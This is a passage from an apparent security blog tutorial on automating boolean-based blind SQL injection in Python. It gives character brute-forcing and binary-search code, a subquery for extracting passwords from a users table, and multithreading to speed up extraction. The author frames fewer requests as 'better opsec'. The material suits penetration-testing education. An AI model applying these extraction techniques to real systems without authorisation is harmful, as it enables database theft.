    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; guess &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; check_sql_value&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;sqlite_version()&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; guess&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            final_data &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;guess&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;final_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# No valid ASCII chars found. Probably end of string.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;We successfully determined the SQLite Version: 3.41.2.&quot; href=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-638w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70&quot; src=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-638w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 638 / 214&quot; alt=&quot;We successfully determined the SQLite Version: 3.41.2.&quot; title=&quot;We successfully determined the SQLite Version: 3.41.2.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-256w.webp 256w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-512w.webp 512w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/brute-sqlite-version-638w.webp 638w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 638px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&quot;optimisations-with-binary-search&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#optimisations-with-binary-search&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Optimisations with Binary Search&lt;/h2&gt;
&lt;p&gt;One quick and simple optimisation whenever we’re searching an ordered sequence is to apply binary search. This drastically reduces the max number of requests for each character from 96 to 7.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This is a good thing for real life engagements: fewer iterations → less traffic → more sneaky → better opsec.&lt;/p&gt;
&lt;p&gt;Normally, binary search relies on three possible outputs for a test: &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, and &lt;code&gt;&amp;gt;&lt;/code&gt;. But it is possible to make do with just two possible outputs: &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;=&lt;/code&gt;. If it’s less, we eliminate the upper half; otherwise, we eliminate the lower half.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;binary_search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; low&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Binary search for value between low (inclusive) and high (exclusive),
    assuming the guessed value is within range.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        mid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;low &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; mid &lt;span class=&quot;token comment&quot;&gt;# Found val.&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;low&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; - &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#92;tGuess: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            high &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid  &lt;span class=&quot;token comment&quot;&gt;# Eliminate upper half.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            low &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid   &lt;span class=&quot;token comment&quot;&gt;# Eliminate lower half.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here’s a quick example, where we progress towards 125 in 7 steps (which will translate to 7 HTTP requests later on).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-python&quot; data-prompt=&quot;&gt;&gt;&gt;&quot; data-filter-output=&quot;out&gt;&quot; data-lang-off=&quot;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;&gt;&gt;&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;result:&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; binary_search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;125&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  0 - 128       Guess:   64&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 64 - 128       Guess:   96&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 96 - 128       Guess:  112&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;112 - 128       Guess:  120&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;120 - 128       Guess:  124&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;124 - 128       Guess:  126&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;124 - 126       Guess:  125&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;result: 125&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In the code snippets above, &lt;code&gt;val&lt;/code&gt; is known for demo purposes. But in reality, &lt;code&gt;val&lt;/code&gt; is unknown; it’s the data we’re trying to exfiltrate. To be more realistic, let&#39;s replace the &lt;code&gt;val&lt;/code&gt; comparisons with a function &lt;code&gt;check_sql_value()&lt;/code&gt; which sends network requests.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;binary_search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; low&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Find the value of sql_query using binary search, between
    low (inclusive) and high (exclusive). Assuming the guessed value
    is within range.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        mid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;low &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; low &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; mid &lt;span class=&quot;token comment&quot;&gt;# Found val.&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; check_sql_value&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; mid&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            high &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            low &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mid

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;check_sql_value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; guess&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Make web request to check ASCII(SUBSTRING(sql_query, idx, 1)) &amp;lt; guess.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# And then check if the response is a TRUE or FALSE response.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; idx &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; binary_search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;@@version&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Handle `val`...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The idea here is we can pass an SQL query, such as &lt;code&gt;@@version&lt;/code&gt; or &lt;code&gt;sqlite_version()&lt;/code&gt;, followed by the index and expected ranged.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;binary_search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;@@version&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; low&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; high&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can make the code more generic or flexible, but the underlying idea is there.&lt;/p&gt;
&lt;h2 id=&quot;more-sql-tricks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#more-sql-tricks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; More SQL Tricks&lt;/h2&gt;
&lt;p&gt;Not all types of data are easy to exfiltrate. Here are some tricks I&#39;ve picked up (some of which could be scripted):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use subqueries to select data from arbitrary tables.
&lt;ul&gt;
&lt;li&gt;e.g. &lt;code&gt;ASCII(SUBSTRING((SELECT password FROM users LIMIT 1 OFFSET 5), 1, 1))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;GROUP_CONCAT&lt;/code&gt; to combine multiple rows into one row. This function is available in MySQL and SQLite.
&lt;ul&gt;
&lt;li&gt;Subqueries only work when 1 row and 1 column is selected.&lt;/li&gt;
&lt;li&gt;Occasionally, there is a &lt;em&gt;lot&lt;/em&gt; of data across multiple rows.
&lt;ul&gt;
&lt;li&gt;We can use &lt;code&gt;LIMIT&lt;/code&gt; (or &lt;code&gt;TOP&lt;/code&gt; for SQL Server) to restrict the data to one row.&lt;/li&gt;
&lt;li&gt;Or we could &lt;code&gt;GROUP_CONCAT&lt;/code&gt; to capture more data in a single subquery. Then there would be one less number to change.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Cast SQL output to &lt;code&gt;char&lt;/code&gt;/&lt;code&gt;varchar&lt;/code&gt; to capture numbers, dates, and other types.
&lt;ul&gt;
&lt;li&gt;e.g. &lt;code&gt;CAST(id AS VARCHAR(32))&lt;/code&gt; in MySQL&lt;/li&gt;
&lt;li&gt;Cast with &lt;code&gt;NULL&lt;/code&gt;, may not work. Additional &lt;code&gt;NULL&lt;/code&gt;-checks may be needed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;adding-multithreading&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#adding-multithreading&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Adding Multithreading&lt;/h2&gt;
&lt;p&gt;Now that we&#39;ve optimised the reading of a single character, can we also speed up the reading of an entire string?&lt;/p&gt;
&lt;p&gt;Yes! Thanks to concurrency! For this, we&#39;ll reach for Python&#39;s built-in &lt;code&gt;concurrent.futures&lt;/code&gt; library, which provides several high-level threading tools. The choice boils down to using threads (via &lt;code&gt;ThreadPoolExecutor&lt;/code&gt;) or processes (&lt;code&gt;ProcessPoolExecutor&lt;/code&gt;), and considering how data/processing is distributed.&lt;/p&gt;
&lt;h3 id=&quot;threads-vs-processes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#threads-vs-processes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Threads vs. Processes&lt;/h3&gt;
&lt;p&gt;Time for a quick comparison.&lt;/p&gt;
&lt;p&gt;Threads:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lightweight and quick to create&lt;/li&gt;
&lt;li&gt;shares memory with main process&lt;/li&gt;
&lt;li&gt;one &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Global Interpreter Lock, a feature of the Python interpreter which only allows one thread to run at a given time&quot;&gt;GIL&lt;/abbr&gt; to rule them all&lt;/li&gt;
&lt;li&gt;recommended for IO-bound tasks (network, requests)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Processes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;slower to create&lt;/li&gt;
&lt;li&gt;doesn&#39;t share memory&lt;/li&gt;
&lt;li&gt;each process has their own GIL&lt;/li&gt;
&lt;li&gt;recommended for CPU-bound tasks (intense computations, calculations)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: GIL behaviour may change in Python 3.13+, so expect some updates in the (concurrent.)future.&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;https://stackoverflow.com/questions/3044580/multiprocessing-vs-threading-python&quot;&gt;StackOverflow – Multiprocessing vs. Threading in Python&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;using-threadpoolexecutor&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#using-threadpoolexecutor&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Using ThreadPoolExecutor&lt;/h3&gt;
&lt;p&gt;In the end, I used &lt;code&gt;ThreadPoolExecutor&lt;/code&gt;, since our code was constrained by network requests. The shared memory also means we don&#39;t need to worry about parameters and duplication as much. Even though the GIL prevents us from (strictly) executing in parallel, we do observe some speedup.&lt;/p&gt;
&lt;p&gt;In the code snippet below, we create a task for each character of the string. (Assume the length of the string is known.) When a thread finishes searching for a character, the thread is recycled and picks up the next task, then the next, and so on until all tasks are done.&lt;/p&gt;
&lt;p&gt;We can process finished tasks as they roll in using &lt;code&gt;concurrent.futures.as_completed&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    future_map &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Create a task for each character.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; idx &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        future &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;get_by_bsearch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;ASCII(SUBSTRING((&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sql&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;idx&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;,1))&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
